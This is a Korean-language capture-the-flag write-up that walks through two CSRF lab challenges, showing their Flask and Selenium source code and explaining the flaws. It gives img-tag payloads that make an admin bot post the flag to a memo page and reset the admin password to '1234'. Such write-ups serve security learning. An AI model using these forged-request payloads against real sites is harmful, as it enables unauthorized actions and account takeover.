오늘은 CSRF에 대해서 알아 보자
CSRF란 CSRF는 임의 이용자의 권한으로 임의 주소에 HTTP 요청을 보낼 수 있는 취약점입니다.
CSRF-1을 풀어보도록 하자
#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.by import By
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
service = Service(executable_path="/usr/local/bin/chromedriver")
options = webdriver.ChromeOptions()
for arg in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(arg)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
print(str(e))
driver.quit()
# return str(e)
return False
driver.quit()
return True
def check_csrf(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
@app.route("/")
def index():
return render_template("index.html")
@app.route("/vuln")
def vuln():
param = request.args.get("param", "").lower()
xss_filter = ["frame", "script", "on"]
for _ in xss_filter:
param = param.replace(_, "*")
return param
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param", "")
if not check_csrf(param):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", None)
if text:
memo_text += text
return render_template("memo.html", memo=memo_text)
@app.route("/admin/notice_flag")
def admin_notice_flag():
global memo_text
if request.remote_addr != "127.0.0.1":
return "Access Denied"
if request.args.get("userid", "") != "admin":
return "Access Denied 2"
memo_text += f"[Notice] flag is {FLAG}\n"
return "Ok"
app.run(host="0.0.0.0", port=8000)
여기서는 xss와 비슷하게 우리가 보낸 내용을 봇이 실행 시켜 주는 부분이 있고 마찬가지로 memo를 이용해서 우리가 넣은 값을 화면에 출력 할수 있게 되어 있다.
@app.route("/vuln")
def vuln():
param = request.args.get("param", "").lower()
xss_filter = ["frame", "script", "on"]
for _ in xss_filter:
param = param.replace(_, "*")
return param
이 부분을 보면 xss를 필터링 하는 부분이 있다. 여기에서 frame, script, on 이라는 키워드가 들어가면 그부분을 *로 바꿔
xss를 못하게 하는것을 알수 있다
그러면 우리는 어떻게 하는냐 CSRF는 임의에 이용자에 권한으로 HTTP요청을 보내는것이다
이게 무슨 말이냐 우리가 그사람에 정보를 탈취하는게 아니라 그사람이 로그인 한거에 그냥 우리가 글을 쓰는것이다.
@app.route("/admin/notice_flag")
def admin_notice_flag():
global memo_text
if request.remote_addr != "127.0.0.1":
return "Access Denied"
if request.args.get("userid", "") != "admin":
return "Access Denied 2"
memo_text += f"[Notice] flag is {FLAG}\n"
return "Ok"
그래서 이부분을 보면 우리가 127.0.0.1자신의 루프백 주소이면서 userid가 admin이면 memo에 flag값을 추가 하게 된다
<img src="/admin/notice_flag?userid=admin">
그러면 어떻게 하느냐 src어디 주소 값을 갈지에 우리에 쿼리 스트링을 알려주는 방식으로 CSRF를 할수 있다.
CSRF-2풀어보자
#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os
app = Flask(__name__)
app.secret_key = os.urandom(32)
CHROMIUM_BIN = os.environ.get("CHROMIUM_BIN", "/usr/bin/chromium")
CHROMEDRIVER_PATH = os.environ.get("CHROMEDRIVER_PATH", "/usr/bin/chromedriver")
try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"
users = {
'guest': 'guest',
'admin': FLAG
}
session_storage = {}
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
driver = None
try:
options = webdriver.ChromeOptions()
options.binary_location = CHROMIUM_BIN
for argument in [
"--headless",
"--window-size=1920,1080",
"--disable-gpu",
"--no-sandbox",
"--disable-dev-shm-usage",
]:
options.add_argument(argument)
service = Service(executable_path=CHROMEDRIVER_PATH)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
print(str(e))
return False
finally:
if driver is not None:
driver.quit()
return True
def check_csrf(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
@app.route("/")
def index():
session_id = request.cookies.get('sessionid', None)
try:
username = session_storage[session_id]
except KeyError:
return render_template('index.html', text='please login')
return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not an admin"}')
@app.route("/vuln")
def vuln():
param = request.args.get("param", "").lower()
xss_filter = ["frame", "script", "on"]
for _ in xss_filter:
param = param.replace(_, "*")
return param
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param", "")
session_id = os.urandom(16).hex()
session_storage[session_id] = 'admin'
if not check_csrf(param, {"name":"sessionid", "value": session_id}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
elif request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
try:
pw = users[username]
except:
return '<script>alert("not found user");history.go(-1);</script>'
if pw == password:
resp = make_response(redirect(url_for('index')) )
session_id = os.urandom(8).hex()
session_storage[session_id] = username
resp.set_cookie('sessionid', session_id)
return resp
return '<script>alert("wrong password");history.go(-1);</script>'
@app.route("/change_password")
def change_password():
pw = request.args.get("pw", "")
session_id = request.cookies.get('sessionid', None)
try:
username = session_storage[session_id]
except KeyError:
return render_template('index.html', text='please login')
users[username] = pw
return 'Done'
app.run(host="0.0.0.0", port=8000)
여기서 우리가 주의 깊게 봐야할 부분은
@app.route("/change_password")
def change_password():
pw = request.args.get("pw", "")
session_id = request.cookies.get('sessionid', None)
try:
username = session_storage[session_id]
except KeyError:
return render_template('index.html', text='please login')
users[username] = pw
return 'Done'
/change_password를 보면 pw와 session_id를 get으로 받은 다음 username에 session_storage를 확인 한뒤
users[username] = pw로 바꾸는걸 알수 있다. 그러면 아까와 마찬가지로 img 태그를 이용 하면 될거라는 것을 알수 있다.
또한 여기서 봇은 무조건 admin에 세션 값을 받도록 세팅 되어 있기 때문에 따로 우리가 admin이라는것을 알려줄 필요가 없다.
<img src="/change_password?pw=1234">
이렇게 하면 admin에 pw가 1234로 바뀌게 된다
그러면 /login으로 가서 admin에 password를 1234로 넣게 되면 flag를 얻을수 있다.